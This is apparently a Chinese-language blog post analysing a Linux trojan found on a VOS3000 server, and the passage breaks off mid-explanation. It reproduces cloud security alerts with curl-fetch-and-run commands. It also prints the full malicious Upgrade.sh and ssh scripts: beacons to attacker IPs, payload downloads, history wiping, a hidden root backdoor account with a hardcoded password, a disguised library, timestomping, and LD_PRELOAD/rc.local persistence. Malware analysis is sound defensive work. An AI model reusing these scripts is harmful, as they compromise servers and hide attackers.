\u8fd9\u4e2a\u6728\u9a6c\u662f\u6211\u4e00\u4e2a\u670b\u53cb\u7684\u670d\u52a1\u5668\u4e2d\u6807\u7684\uff0c\u672a\u8fdb\u670d\u52a1\u5668\u5185\u90e8\u6392\u67e5\u4e2d\u9a6c\u540e\u7684\u72b6\u6001\uff0c\u53ea\u662f\u7b80\u5355\u7684\u4e0b\u8f7d\u5206\u6790\u4e86\uff0c\u7136\u540e\u672c\u6765\u60f3\u5199\u4efd\u6e05\u7406\u6728\u9a6c\u7684\u811a\u672c\u7684\uff0c\u56e0\u4e2a\u4eba\u5de5\u4f5c\u7cbe\u529b\u6709\u9650\uff0c\u61d2\u5f97\u53bb\u5199\u3002\u95f2\u8bdd\u5c11\u8bf4\u6b63\u6587\u5f00\u59cb<\/p>\n\n\n\n
\u963f\u91cc\u4e91\u62a5\u544a<\/p>\n\n\n\n
2020\u5e749\u67088\u65e517:00:45<\/p>\n\n\n\n
\u8fdb\u7a0b\u5f02\u5e38\u884c\u4e3a-\u8bbf\u95ee\u6076\u610f\u4e0b\u8f7d\u6e90<\/p>\n\n\n\n
\u5f85\u5904\u7406<\/p>\n\n\n\n
\u9ad8\u7ea7\u5a01\u80c1\u68c0\u6d4b\u6a21\u578b<\/p>\n\n\n\n
\u5907\u6ce8|<\/p>\n\n\n\n
\u5904\u7406<\/p>\n\n\n\n
\u8be5\u544a\u8b66\u7531\u5982\u4e0b\u5f15\u64ce\u68c0\u6d4b\u53d1\u73b0:\u7a97Q<\/p>\n\n\n\n
\u7236\u8fdb\u7a0b\u8def\u5f84: \/home\/kunshi\/vos3000\/bin\/vos3000<\/p>\n\n\n\n
\u7236\u8fdb\u7a0b\u547d\u4ee4\u884c: \/home\/kunshi\/vos3000\/bin\/vos3000 -x 1843 -r \/home\/kunshi\/.run\/vos3000.pid\u7236\u8fdb\u7a0bid: 1273<\/p>\n\n\n\n
\u8fdb\u7a0bID:14349\u7528\u6237\u540d: kunshi<\/p>\n\n\n\n
URL\u94fe\u63a5: http:\/\/47.56.15.121:8080\/uninstall.sh\u8fdb\u7a0b\u8def\u5f84: \/bin\/bash<\/p>\n\n\n\n
\u547d\u4ee4\u884c\u53c2\u6570x: \/bin\/sh -c curl -s http\/\/47.56.15.121:808O\/Uninstallsh -o \/tmp\/Uninstall.sh&&chmod +x \/tmp\/Uninstallsth&&\/tmp\/Uninstllsth\u4e0e\u8be5URL\u6709\u5173\u8054\u7684\u6f0f\u6d1e: None<\/p>\n\n\n\n
\u4e8b\u4ef6\u8bf4\u660e:\u68c0\u6d4b\u6a21\u578b\u53d1\u73b0\u60a8\u7684\u670d\u52a1\u5668\u6b63\u5728\u5c1d\u8bd5\u8bbf\u95ee\u4e00\u4e2a\u53ef\u7591\u7684\u6076\u610f\u4e0b\u8f7d\u6e90\uff0c\u53ef\u80fd\u662f\u9ed1\u5ba2\u901a\u8fc7\u5f31\u53e3\u4ee4\u6216\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u4ece\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0b\u6216\u6076\u610f\u6587\u4ef6\uff0c\u5371\u5bb3\u670d\u52a1\u5668\u5b89\u5168\u3002<\/p>\n\n\n\n
\u89e3\u51b3\u65b9\u6848:\u8bf7\u53ca\u65f6\u6392\u67e5\u544a\u7b54\u4e2d\u63d0\u793a\u7684\u6076\u610fURL\uff0c\u4ee5\u53ca\u6240\u4e0b\u8f7d\u7684\u76ee\u5f55\u4e0b\u7684\u6076\u610f\u6587\u4ef6\uff0c\u5e76\u53ca\u65f6\u6e05\u7406\u5df2\u8fd0\u884c\u7684\u6076\u610f\u8fdb\u7a0b\u3002\u5982\u679c\u8be5\u6307\u4ee4\u662f\u60a8\u81ea\u5df1\u4e3b\u52a8\u6267\u884c\u7684\uff0c\u60a8\u53ef\u4ee5\u5728\u63a7\u5236\u53f0\u70b9\u51fb\u6807\u8bb0\u4e3a\u8bef\u62a5\u3002<\/p>\n\n\n\n
\u8fd9\u4e2a\u662f2021\u5e744\u670813\u65e5\u544a\u8b66<\/p>\n\n\n\n
\u9996\u5148\u963f\u91cc\u4e91\u544a\u8b66\u4e0a\u8bf4\u6267\u884c\u4e86\u8fd9\u4e2a\u547d\u4ee4<\/p>\n\n\n\n
\u6765\u6e90vos3000\u7684\u670d\u52a1<\/p>\n\n\n\n
\u547d\u4ee4\u884c:\/bin\/sh -c curl -s http;\/\/47.56.15.121:808O\/Upgrade.sh -o \/tmp\/Upgrade.sh&chmod +x \/tmp\/Upgrade.sh&sh \/tmp\/Upgrade.sh 47.56.15.121 8080<\/p>\n\n\n\n
\u8fdb\u7a0bPID: 13536\u8fdb\u7a0b\u6587\u4ef6\u540d: bash\u7236\u8fdb\u7a0bID:1273\u7236\u8fdb\u7a0b: vos3000<\/p>\n\n\n\n
\u7236\u8fdb\u7a0b\u6587\u4ef6\u8def\u5f84: \/home\/kunshi\/vos3000\/bin\/vos3000\u8fdb\u7a0b\u94fe:-[1273] \/home\/kunshi\/vos3000\/bin\/vos3000 -x 1843 -r \/home\/kunshi\/ .run\/vos3000.pid<\/p>\n\n\n\n
\u90a3\u8fd9\u8fb9\u5f00\u59cb\u5206\u6790\u4e0b\u4ed6\u4e0b\u8f7d\u7684\u8fd9\u4e2a\u6587\u4ef6 \u6211\u4eec\u9996\u5148\u5206\u6790\u8fd9\u4e2aUpgrade.sh\u8fd9\u4e2a\u811a\u672c<\/p>\n\n\n\n
Down\u4e0b\u6765\u540e\u5206\u6790<\/p>\n\n\n\n
Upgrade.sh\u4ee3\u7801\u5982\u4e0b\uff1a<\/strong><\/p>\n\n\n\n 1 #!\/bin\/sh<\/p>\n\n\n\n 2<\/p>\n\n\n\n 3 IPADDR=$1<\/p>\n\n\n\n 4 PORT=$2<\/p>\n\n\n\n 5<\/p>\n\n\n\n 6 iptables -t nat -A OUTPUT -p tcp -d 47.56.15.121 –dport 61061 -j DNAT –to-destination 47.56.15.121:61060<\/p>\n\n\n\n 7<\/p>\n\n\n\n 8 unlink \/tmp\/Upgrade.sh<\/p>\n\n\n\n 9 if [ $(id -u) -eq 0 ]<\/p>\n\n\n\n 10then<\/p>\n\n\n\n 11 curl -s http:\/\/103.206.122.245:65530\/check?cs=Root<\/p>\n\n\n\n 12# iptables -I INPUT 2 -s 47.56.15.121 -j ACCEPT<\/p>\n\n\n\n 13<\/p>\n\n\n\n 14else<\/p>\n\n\n\n 15 curl -s http:\/\/103.206.122.245:65530\/check?cs=NoRoot<\/p>\n\n\n\n 16fi<\/p>\n\n\n\n 17<\/p>\n\n\n\n 18curl http:\/\/$IPADDR:$PORT\/system.tar.gz -so \/tmp\/system.tar.gz<\/p>\n\n\n\n 19tar -zxvpf \/tmp\/system.tar.gz -C \/tmp<\/p>\n\n\n\n 20chmod +x \/tmp\/ssh<\/p>\n\n\n\n 21rm -rf \/tmp\/system.tar.gz<\/p>\n\n\n\n 22source \/tmp\/ssh $IPADDR $PORT<\/p>\n\n\n\n \u7b80\u5355\u5206\u6790\u4e0b<\/p>\n\n\n\n \u7b2c\u4e00\u884c\u548c\u7b2c\u4e8c\u884c\u5b9a\u4e49\u4e00\u4e2a\u53d8\u91cf\u6765\u6e90\u4e8e\u8f93\u5165\u7684ip\u548c\u7aef\u53e3 \u5206\u522b\u662f47.56.15.121 8080<\/p>\n\n\n\n \u7b2c\u516d\u884c\u6dfb\u52a0\u9632\u706b\u5899\u89c4\u5219\uff0c\u76ee\u7684\u573047.56.15.121\u768461061\u8f6c\u79fb\u523061060\u7aef\u53e3\u4e0a\uff0c\u5177\u4f53\u7528\u5904\u4e0d\u8be6\u3002<\/p>\n\n\n\n \u7b2c\u516b\u884c\u5220\u9664\/tmp\/Upgrade.sh\u4e0b\u8f7d\u5668\u6587\u4ef6\uff0c\u56e0\u4e3aunlink\u547d\u4ee4\u5220\u9664\u662f\u65e0\u611f\u9759\u9ed8\uff0c\u6ca1\u6709\u8f93\u51fa\uff0c\u6211\u4eec\u65e5\u5e38\u90fd\u7528\u7684\u662f\u66f4\u5f3a\u5927\u7684rm\uff0cunlink\u547d\u4ee4\u53ea\u80fd\u5220\u9664\u5355\u4e2a\u6587\u4ef6\uff0c\u4e0d\u80fd\u5220\u9664\u76ee\u5f55\u3002<\/p>\n\n\n\n \u7b2c\u4e5d\u884c\u5230\u7b2c\u5341\u516d\u884c\u662f\u4e00\u4e2a\u5224\u65ad\u8bed\u53e5\uff0c\u5982\u679c\u767b\u5f55\u7684\u7528\u6237\u7684id\u7b49\u4e8e0\u7684\u8bdd\uff08\u4e5f\u53ef\u4ee5\u7406\u89e3\u6210root\u7528\u6237\uff09\uff0ccurl -s http:\/\/103.206.122.245:65530\/check?cs=Root<\/u><\/a> \u6267\u884c\u8fd9\u4e2a\u547d\u4ee4\uff0ccurl -s\u53c2\u6570\u4e5f\u662f\u6ca1\u6709\u8f93\u51fa\u9759\u9ed8\u6267\u884c\u7684\u610f\u601d\uff0c\u53ef\u80fd\u8fd9\u4e2a\u662f\u6536\u96c6\u8bb0\u5f55ip\u4fe1\u606f\u548c\u662f\u5426\u662froot\u6743\u9650\u7684\u610f\u601d\u3002\u53cd\u4e4b\u6267\u884ccurl -s http:\/\/103.206.122.245:65530\/check?cs=NoRoot<\/u>\u3002<\/u>\u4e2d\u95f4\u7b2c\u5341\u4e8c\u884c\u662f\u52a0\u9632\u706b\u5899\u5141\u8bb847.56.15.121<\/u>ip<\/u>\u8bbf\u95ee\u672c\u670d\u52a1\u5668\u3002<\/a><\/p>\n\n\n\n \u7b2c\u5341\u516b\u884c\u4e0b\u8f7dsystem.tar.gz\u653e\u5230tmp\u76ee\u5f55\u4e0b\uff0c\u4e5f\u662f\u9759\u9ed8\u6a21\u5f0f\u4e0b\u8f7d\u3002<\/p>\n\n\n\n \u7b2c\u5341\u4e5d\u884c\u89e3\u538b\u5230\u89e3\u538bgz\u5305\uff0c\u5e26p\u662f\u5e26\u539f\u6765\u7684\u6743\u9650\u4fe1\u606f\uff0c-C\u662f\u6307\u5b9a\u76ee\u5f55\u7684\u610f\u601d\u3002\u89e3\u538b\u5230tmp\u76ee\u5f55\u4e0b\u3002<\/p>\n\n\n\n \u7b2c\u4e8c\u5341\u884c\u662f\u6dfb\u52a0\u6267\u884c\u6743\u9650\u3002<\/p>\n\n\n\n \u7b2c\u4e8c\u5341\u4e00\u884c\u5220\u9664\u4e0b\u8f7d\u7684system.tar.gz<\/p>\n\n\n\n \u7b2c\u4e8c\u5341\u4e8c\u884c\u83b7\u53d6\u672c\u5730\u73af\u5883\u53d8\u91cf\u6267\u884cssh\u811a\u672c\u4f7f\u7528\u4e0a\u6b21\u7684\u8f93\u5165\u7684\u4e24\u4e2a\u53d8\u91cf<\/p>\n\n\n\n \u73b0\u5728\u5206\u6790ssh\u8fd9\u4e2a\u811a\u672c\u5185\u5bb9\uff0cdown\u4e0b\u6765\u540e\u4ee3\u7801\u5982\u4e0b\uff1a<\/strong><\/p>\n\n\n\n 1 #\/bin\/sh<\/p>\n\n\n\n 2 <\/p>\n\n\n\n 3 unlink \/tmp\/ssh<\/p>\n\n\n\n 4 #curl http:\/\/103.206.123.13:8787\/test?data=xxn<\/p>\n\n\n\n 5 export I_AM_HIDDEN=a<\/p>\n\n\n\n 6 <\/p>\n\n\n\n 7 history -c<\/p>\n\n\n\n 8 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG<\/p>\n\n\n\n 9 export HISTFILE=\/dev\/null<\/p>\n\n\n\n 10 export HISTSIZE=0<\/p>\n\n\n\n 11 export HISTFILESIZE=0<\/p>\n\n\n\n 12<\/p>\n\n\n\n 13 # about trojan<\/p>\n\n\n\n 14 IPADDR=$1<\/p>\n\n\n\n 15 PORT=$2<\/p>\n\n\n\n 16 VER=`echo $(uname -a)`<\/p>\n\n\n\n 17 KVER=`echo $(ps -ef | grep $TROFILE | grep -v grep | awk ‘{print $2}’)`<\/p>\n\n\n\n 18 BitX=”x86_64″<\/p>\n\n\n\n 19 TROFILE=”\/lib\/libse1inux”<\/p>\n\n\n\n 20 PROFILE=”\/lib\/libse1inux.a”<\/p>\n\n\n\n 21 LIBPATH=”\/lib\/libse1inux.so”<\/p>\n\n\n\n 22 PIDFILE=”\/tmp\/libse1inux.0″<\/p>\n\n\n\n 23 PROEXE=”I_AM_HIDDEN=a nohup \/lib\/libse1inux.a 2>\/dev\/null &”<\/p>\n\n\n\n 24 ENVVAR=”echo $LD_PRELOAD”<\/p>\n\n\n\n 25<\/p>\n\n\n\n 26 # about user<\/p>\n\n\n\n 27 FTP_USER=”sftp”<\/p>\n\n\n\n 28 FTP_PASSWD=”e@iQN*lG”<\/p>\n\n\n\n 29 FTP_FOLDER=”\/var\/sftp”<\/p>\n\n\n\n 30<\/p>\n\n\n\n 31 #—————–create user———————#<\/p>\n\n\n\n 32 EXIST_USER=`\/bin\/cat \/etc\/passwd | awk -F ‘:’ ‘{print $(1)}’ | \/bin\/grep -E “^$FTP_USER$”`<\/p>\n\n\n\n 33 if [ $(id -u) -eq 0 ]<\/p>\n\n\n\n 34 then<\/p>\n\n\n\n 35 if [ “$EXIST_USER” != “$FTP_USER” ]<\/p>\n\n\n\n 36 then<\/p>\n\n\n\n 37 mkdir -p $FTP_FOLDER<\/p>\n\n\n\n 38 \/bin\/chmod 777 -R $FTP_FOLDER<\/p>\n\n\n\n 39 groupadd -og 50 $FTP_USER<\/p>\n\n\n\n 40 \/usr\/sbin\/useradd -lou 0 -g 50 -c ‘,,,’ -d $FTP_FOLDER -s \/bin\/sh $FTP_USER >\/dev\/null 2>&1<\/p>\n\n\n\n 41 echo $FTP_PASSWD | \/usr\/bin\/passwd $FTP_USER –stdin >\/dev\/null 2>&1<\/p>\n\n\n\n 42 fi<\/p>\n\n\n\n 43 fi<\/p>\n\n\n\n 44 #———————END————————-#<\/p>\n\n\n\n 45<\/p>\n\n\n\n 46 #———–do something about trojan————-#<\/p>\n\n\n\n 47 if [ -f “$PIDFILE” ]<\/p>\n\n\n\n 48 then<\/p>\n\n\n\n 49 PID=$(cat $PIDFILE)<\/p>\n\n\n\n 50 kill -9 $PID<\/p>\n\n\n\n 51 rm -rf $PIDFILE<\/p>\n\n\n\n 52 rm -rf $PROFILE<\/p>\n\n\n\n 53 rm -rf $TROFILE<\/p>\n\n\n\n 54 rm -rf $LIBPATH<\/p>\n\n\n\n 55 fi<\/p>\n\n\n\n 56<\/p>\n\n\n\n 57 if [ -n ‘$KVER’ ]<\/p>\n\n\n\n 58 then<\/p>\n\n\n\n 59 kill -9 $KVER<\/p>\n\n\n\n 60 rm -rf $PIDFILE<\/p>\n\n\n\n 61 rm -rf $PROFILE<\/p>\n\n\n\n 62 rm -rf $TROFILE<\/p>\n\n\n\n 63 rm -rf $LIBPATH<\/p>\n\n\n\n 64 fi<\/p>\n\n\n\n 65<\/p>\n\n\n\n 66 if [[ $VER =~ $BitX ]]<\/p>\n\n\n\n 67 then<\/p>\n\n\n\n 68 curl http:\/\/$IPADDR:$PORT\/configUpdate.tar.gz -so \/tmp\/configUpdate.tar.gz<\/p>\n\n\n\n 69 else<\/p>\n\n\n\n 70 curl http:\/\/$IPADDR:$PORT\/configUpdate-32.tar.gz -so \/tmp\/configUpdate.tar.gz<\/p>\n\n\n\n 71 fi<\/p>\n\n\n\n 72<\/p>\n\n\n\n 73 tar -zxvpf \/tmp\/configUpdate.tar.gz -C \/tmp<\/p>\n\n\n\n 74 rm -rf \/tmp\/configUpdate.tar.gz<\/p>\n\n\n\n 75 chmod +x \/tmp\/libse1inux<\/p>\n\n\n\n 76 chmod +x \/tmp\/libse1inux.a<\/p>\n\n\n\n 77 chmod +x \/tmp\/libse1inux.so<\/p>\n\n\n\n 78 if [ $(id -u) -ne 0 ]<\/p>\n\n\n\n 79 then<\/p>\n\n\n\n 80 rm -rf \/tmp\/libse1inux.so<\/p>\n\n\n\n 81 rm -rf \/tmp\/libse1inux.a<\/p>\n\n\n\n 82 mv \/tmp\/libse1inux \/tmp\/.bash<\/p>\n\n\n\n 83 \/tmp\/.bash<\/p>\n\n\n\n 84 exit<\/p>\n\n\n\n 85 fi<\/p>\n\n\n\n 86<\/p>\n\n\n\n 87 mv \/tmp\/libse1inux.so $LIBPATH<\/p>\n\n\n\n 88 mv \/tmp\/libse1inux.a $PROFILE<\/p>\n\n\n\n 89 mv \/tmp\/libse1inux $TROFILE<\/p>\n\n\n\n 90 touch -acmr \/bin\/su $LIBPATH<\/p>\n\n\n\n 91 touch -acmr \/bin\/su $PROFILE<\/p>\n\n\n\n 92 touch -acmr \/bin\/su $TROFILE<\/p>\n\n\n\n 93 chattr +i $TROFILE<\/p>\n\n\n\n 94 chattr +i $PROFILE<\/p>\n\n\n\n 95 chattr +i $LIBPATH<\/p>\n\n\n\n 96 #run trojan & shell<\/p>\n\n\n\n 97<\/p>\n\n\n\n 98 I_AM_HIDDEN=a $TROFILE I_AM_HIDDEN<\/p>\n\n\n\n 99 I_AM_HIDDEN=a nohup $PROFILE 2>\/dev\/null &<\/p>\n\n\n\n 100<\/p>\n\n\n\n 101if [ -z ‘$ENVVAR’ ];then<\/p>\n\n\n\n 102 export LD_PRELOAD=$LD_PRELOAD:$LIBPATH<\/p>\n\n\n\n 103fi<\/p>\n\n\n\n 104<\/p>\n\n\n\n 105if ! grep -Fwo “$LIBPATH” \/etc\/profile > \/dev\/null<\/p>\n\n\n\n 106then<\/p>\n\n\n\n 107 sed -i “export LD_PRELOAD=\\$LD_PRELOAD:\/lib\/libse1inux.so” \/etc\/profile<\/p>\n\n\n\n 108 source \/etc\/profile<\/p>\n\n\n\n 109fi<\/p>\n\n\n\n 110<\/p>\n\n\n\n 111if ! grep -Fwo “$PROEXE” \/etc\/rc.local > \/dev\/null<\/p>\n\n\n\n 112then<\/p>\n\n\n\n 113 if [ `grep -c “exit” \/etc\/rc.local` -ne 1 ]<\/p>\n\n\n\n 114 then<\/p>\n\n\n\n 115 sed -i ‘$s\/^exit.*$\/\/g’ \/etc\/rc.local<\/p>\n\n\n\n 116 fi<\/p>\n\n\n\n 117<\/p>\n\n\n\n 118<\/p>\n\n\n\n 119 echo $PROEXE >> \/etc\/rc.local<\/p>\n\n\n\n 120<\/p>\n\n\n\n 121fi<\/p>\n\n\n\n 122<\/p>\n\n\n\n 123<\/p>\n\n\n\n 124unset I_AM_HIDDEN<\/p>\n\n\n\n 125#———————END————————-#<\/p>\n\n\n\n \u7b2c\u4e09\u884c\u5220\u9664\u8fd9\u4e2assh\u811a\u672c\u6587\u4ef6<\/p>\n\n\n\n \u7b2c\u4e94\u884c\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\u4e3aI_AM_HIDDEN=a<\/p>\n\n\n\n \u7b2c\u4e03\u884c\u5220\u9664\u5386\u53f2\u8bb0\u5f55<\/p>\n\n\n\n \u7b2c\u516b\u884c\u5220\u9664\u73af\u5883\u53d8\u91cfHISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG<\/p>\n\n\n\n \u7b2c\u4e5d\u5230\u7b2c\u5341\u4e00\u884c\u8bbe\u7f6e\u5386\u53f2\u8bb0\u5f55\u6587\u4ef6\u4e3a\u7a7a\uff0c\u5386\u53f2\u547d\u4ee4\u5927\u5c0f\u4e3a0\uff0c\u5386\u53f2\u6587\u4ef6\u5927\u5c0f\u4e3a0\u3002\u9003\u907fhistory\u547d\u4ee4\u8bb0\u5f55\u529f\u80fd\u3002<\/p>\n\n\n\n \u7b2c\u5341\u4e09\u5230\u7b2c\u4e8c\u5341\u56db\u884c\u5173\u4e8e\u4e00\u4e9b\u6587\u4ef6\u4fe1\u606f\uff0c\u6587\u4ef6\u91cc\u5907\u6ce8\u7684\u662f\u6728\u9a6c\u4fe1\u606f\u3002<\/p>\n\n\n\n \u5b9a\u4e49\u4e86\u53d8\u91cfVER\u3001KVER\u3001BitX\u3001TROFILE\u3001PROFILE\u3001LIBPATH\u3001PIDFILE\u3001PROEXE\u3001ENVVAR\u3002\u5176\u4e2dVER\u662f\u7cfb\u7edf\u7248\u672c\u3001KVER\u662f\u5141\u8bb8\u7684\u6728\u9a6c\u7248\u672c\u3001BitX\u662f\u7cfb\u7edf\u7c7b\u578b\u3001TROFILE\u3001PROFILE\u3001LIBPATH\u3001PIDFILE\u3001PROEXE\u3001ENVVAR\u662f\u6728\u9a6c\u6587\u4ef6\u6709\u5173\u7684\u3002PROEXE=”I_AM_HIDDEN=a nohup \/lib\/libse1inux.a 2>\/dev\/null &”\u8fd9\u4e2a\u610f\u601d\u6267\u884cPROEXE\u53d8\u91cf\u7684\u65f6\u5019\u8fd0\u884c\u663e\u793aI_AM_HIDDEN=a\uff0c\u5e76\u540e\u53f0\u8fd0\u884c\/lib\/libse1inux.a\u7a0b\u5e8f\uff0c\u91cd\u65b0\u5b9a\u5411\u5230null\u9519\u8bef\u4fe1\u606f\u4e0d\u663e\u793a\u3002<\/p>\n\n\n\n \u7b2c\u4e8c\u5341\u516d\u5230\u56db\u5341\u56db\u884c\u90fd\u5173\u4e8e\u7528\u6237\u5efa\u7acb\u6709\u5173\u4fe1\u606f\u3002<\/p>\n\n\n\n \u7528\u6237\u540d\u548c\u5bc6\u7801\u4ee5\u53ca\u7528\u6237\u76ee\u5f55\u505a\u4e86\u4e2a\u53d8\u91cf\u3002\u7528\u6237\u540dsftp\uff0c\u5bc6\u7801e@iQN*lG\u548c\u7528\u6237\u76ee\u5f55\u4e3a\/var\/sftp\uff0c\u5176\u5b9e\u8fd9\u4e2a\u7528\u6237\u7cfb\u7edf\u91cc\u6ca1\u6709\u7684\uff0c\u8ddfftp\u7528\u6237\u6df7\u6dc6\uff0c\u4f46\u662f\u4ed6\u751f\u6210\u8fd9\u4e2a\u4e3b\u8981\u76ee\u7684\u4e3a\u4e86\u540e\u7eed\u8fde\u63a5\u3002<\/p>\n\n\n\n \u5b9a\u4e49\u4e00\u4e2aEXIST_USER\u7528\u6237\uff0c\u5728passwd\u91cc\u67e5\u8be2\u6709\u6ca1\u6709sftp\u7528\u6237\uff0c\u82e5\u662f\u6709\u7684\u8bdd\u76f4\u63a5\u9000\u51fa\u6267\u884c\u7528\u6237\u6dfb\u52a0\u6b65\u9aa4\uff0c\u811a\u672c\u610f\u601d\u5c31\u662f\u82e5\u662f\u73b0\u5728\u5141\u8bb8\u7684\u7528\u6237id\u4e3a0\u7684\u8bdd\uff0cEXIST_USER\u4e0d\u7b49\u4e8eFTP_USER\u7684\u8bdd\u6267\u884c\u6dfb\u52a0sftp\u7528\u6237\u6b65\u9aa4\u3002\u9996\u5148\u521b\u5efa\u7528\u6237\u76ee\u5f55\/var\/sftp\uff0c\u5e76\u8d4b\u4e88777\u6743\u9650\uff0c\u6dfb\u52a0sftp\u7fa4\u7ec4\uff0c\u6dfb\u52a0\u7528\u6237\u7684\u65f6\u5019-u\u6765\u6307\u5b9a\u7528\u6237id\u4e3a0\uff0c-g\u6765\u6307\u5b9a\u7fa4\u7ec4id50\uff0c-d\u6307\u5b9ahome\u76ee\u5f55\uff0c-c\u6765\u6307\u5b9a\u7528\u6237\u4fe1\u606f\uff0c-s\u6765\u6307\u5b9a\u4e86\u7528\/bin\/sh\u7684shell\uff0c\u5e76>\/dev\/null 2>&1\u91cd\u65b0\u6307\u5b9a\u5230null\u4e0d\u8f93\u51fa\u3002\u5176\u4e2d-l\u662f\u4e0d\u8f93\u51fa\u5230\u65e5\u5fd7\u91cc\uff0c-o\u662f\u53ef\u4ee5\u91cd\u65b0\u521b\u5efa\u7528\u6237\uff0c\u56e0\u4e3a\u7cfb\u7edf\u82e5\u662f\u6709\u8fd9\u4e2a\u7528\u6237\u4f1a\u62a5\u9519\uff0c\u6240\u4ee5\u8fd9\u91cc\u7528\u5230\u7684-lou\u3002Passwd\u547d\u4ee4\u5e26–stdin\u8fd9\u4e2a\u76f4\u63a5\u81ea\u52a8\u5b8c\u6210\u5bc6\u7801\u4e0d\u9700\u8981\u4eba\u5de5\u8f93\u5165\uff0c\u5e76\u91cd\u5b9a\u5411\u5230null\u4e0d\u8f93\u51fa\u3002<\/p>\n\n\n\n \u7b2c\u56db\u5341\u516d\u5230\u7b2c\u4e94\u5341\u4e94\u884c\uff0c\u5224\u65adPIDFILE\u662f\u5426\u5b58\u5728\uff08\/tmp\/libse1inux.0\u6587\u4ef6\uff09\uff0c\u5b58\u5728\u7684\u8bdd\u67e5\u770bpid\u503c\uff0c\u5e76\u7ed3\u675f\u8fdb\u7a0b\uff0c\u5220\u9664\u6587\u4ef6\uff08\u5305\u62ec\/lib\/libse1inux\u3001\/lib\/libse1inux.a\u3001\/lib\/libse1inux.so\u3001\/lib\/libse1inux.0\uff09,\u540e\u7eed\u7248\u672c\u66f4\u65b0\u7684\u8bdd\u76f4\u63a5\u8986\u76d6\u65f6\u5019\u7528\u5230\u7684\u3002<\/p>\n\n\n\n \u7b2c\u4e94\u5341\u4e03\u5230\u516d\u5341\u56db\u884c\uff0c\u5224\u65ad$KVER\u53d8\u91cf\u662f\u5426\u4e3a\u7a7a\uff0c\u8981\u662f\u4e3a\u7a7a\u5e76\u7ed3\u675f\u8fdb\u7a0b\uff0c\u5220\u9664\u6587\u4ef6\uff08\u5305\u62ec\/lib\/libse1inux\u3001\/lib\/libse1inux.a\u3001\/lib\/libse1inux.so\u3001\/lib\/libse1inux.0\uff09,\u540e\u7eed\u7248\u672c\u66f4\u65b0\u7684\u8bdd\u76f4\u63a5\u8986\u76d6\u65f6\u5019\u7528\u5230\u7684\u3002<\/p>\n\n\n\n \u7b2c\u516d\u5341\u516d\u5230\u4e03\u5341\u4e00\u884c\uff0c\u5148\u5224\u65ad\u7cfb\u7edf\u662f\u5426\u662f64\u4f4d\uff0c\u82e5\u662f64\u4f4d\u5c31\u4e0b\u8f7d64\u4f4d\u5bf9\u5e94\u7a0b\u5e8f\uff0c\u53cd\u4e4b\u4e0b\u8f7d32\u4f4d\u7a0b\u5e8f\uff0c\u5176\u4e2d$IPADDR:$PORT\u6765\u6e90\u4e8e\u7b2c\u4e00\u6b21\u8f93\u5165\u7684\u503c\u5f9747.56.15.121 8080\uff0c\u5e76\u4f7f\u7528-s\u9759\u9ed8\u6a21\u5f0f\u548c-o\u6307\u5b9a\u5230\u8def\u5f84\u6539\u5199\u6210configUpdate.tar.gz\u3002<\/p>\n\n\n\n \u7b2c\u4e03\u5341\u4e09\u5230\u4e03\u5341\u4e03\u884c\uff0c\u89e3\u538bconfigUpdate.tar.gz\u6587\u4ef6\u5e76\u539f\u6765\u6743\u9650\uff0c\u6307\u5b9a\u5230tmp\u76ee\u5f55\u4e0b\uff0c\u5220\u9664configUpdate.tar.gz\u52a0\u6267\u884c\u6743\u9650\u7ed9\/tmp\/libse1inux\u3001libse1inux.a\u3001libse1inux.so\u3002<\/p>\n\n\n\n \u7b2c\u4e03\u5341\u516b\u5230\u516b\u5341\u4e94\u884c\uff0c\u5224\u8bfb\u662f\u5426\u4f7f\u7528root\u7528\u6237\uff0c\u82e5\u4e0d\u662froot\u7528\u6237\u7684\u8bdd\uff0c\u5220\u9664\/tmp\/libse1inux.so\u3001libse1inux.a\uff0c\u5e76\u79fb\u52a8\/tmp\/libse1inux\u6539\u5199\u6210\/tmp\/.bash\uff0c\u7136\u540e\u6267\u884c\u540e\u9000\u51fa\u811a\u672c\u3002<\/p>\n\n\n\n \u7b2c\u516b\u5341\u4e03\u5230\u4e5d\u5341\u4e94\u884c\uff0c\/tmp\/\u4e0b\u7684libse1inux\u3001libse1inux.a\u3001libse1inux.so\u8fd9\u4e2a\u4e09\u4e2a\u6587\u4ef6\u79fb\u52a8\u5230\/lib\/\u4e0blibse1inux\u3001libse1inux.a\u3001libse1inux.so\uff0c\u5e76\u901a\u8fc7touch\u7684-acmr\u8be5\u66f4\u6587\u4ef6\u521b\u5efa\u4fee\u6539\u65f6\u95f4\uff0c\u5176\u4e2d-a\u662f\u4fee\u6539\u521b\u5efa\u65f6\u95f4\u3001-m\u4fee\u6539\u65f6\u95f4\u3001-c\u82e5\u662f\u4e0d\u91cd\u5efa\u6587\u4ef6\u3001-r\u4f7f\u7528\u6587\u4ef6\u65f6\u95f4\uff0c\u8c03\u7528\/bin\/su\u6765\u5b8c\u6210\u3002\u901a\u8fc7chattr +i\u6765\u9501\u5b9a\u6587\u4ef6\u4e0d\u80fd\u4efb\u610f\u4fee\u6539\u3002<\/p>\n\n\n\n \u7b2c\u4e5d\u5341\u516b\u548c\u4e5d\u5341\u4e5d\u884c\uff0c\u6267\u884c\/lib\/libse1inux\u5e26I_AM_HIDDEN\u53c2\u6570\uff0c\u6267\u884c\/lib\/libse1inux.a\u901a\u8fc7nohup\u6765\u540e\u53f0\u6267\u884c\u7ed3\u679c\u4e0d\u8f93\u51fa\u3002<\/p>\n\n\n\n \u7b2c\u4e00\u767e\u5230\u4e00\u767e\u96f6\u4e09\u884c\uff0c\u5982\u679cENVVAR=”echo $LD_PRELOAD”\u4e3a\u7a7a\uff0c\u6267\u884c\u52a0\u73af\u5883\u53d8\u91cfexport LD_PRELOAD=$LD_PRELOAD:$LIBPATH<\/p>\n\n\n\n \u7b2c\u4e00\u767e\u96f6\u4e94\u5230\u4e00\u767e\u96f6\u4e5d\u884c\uff0c\u82e5\u662f\u5728\u73af\u5883\u53d8\u91cf\u6587\u4ef6\u91cc\u6ca1\u6709LIBPATH=”\/lib\/libse1inux.so”\uff0cprofile\u6587\u4ef6\u91cc\u63d2\u5165export LD_PRELOAD=\\$LD_PRELOAD:\/lib\/libse1inux.so\uff0c\u5e76\u66f4\u65b0profile\u6587\u4ef6\u3002<\/p>\n\n\n\n 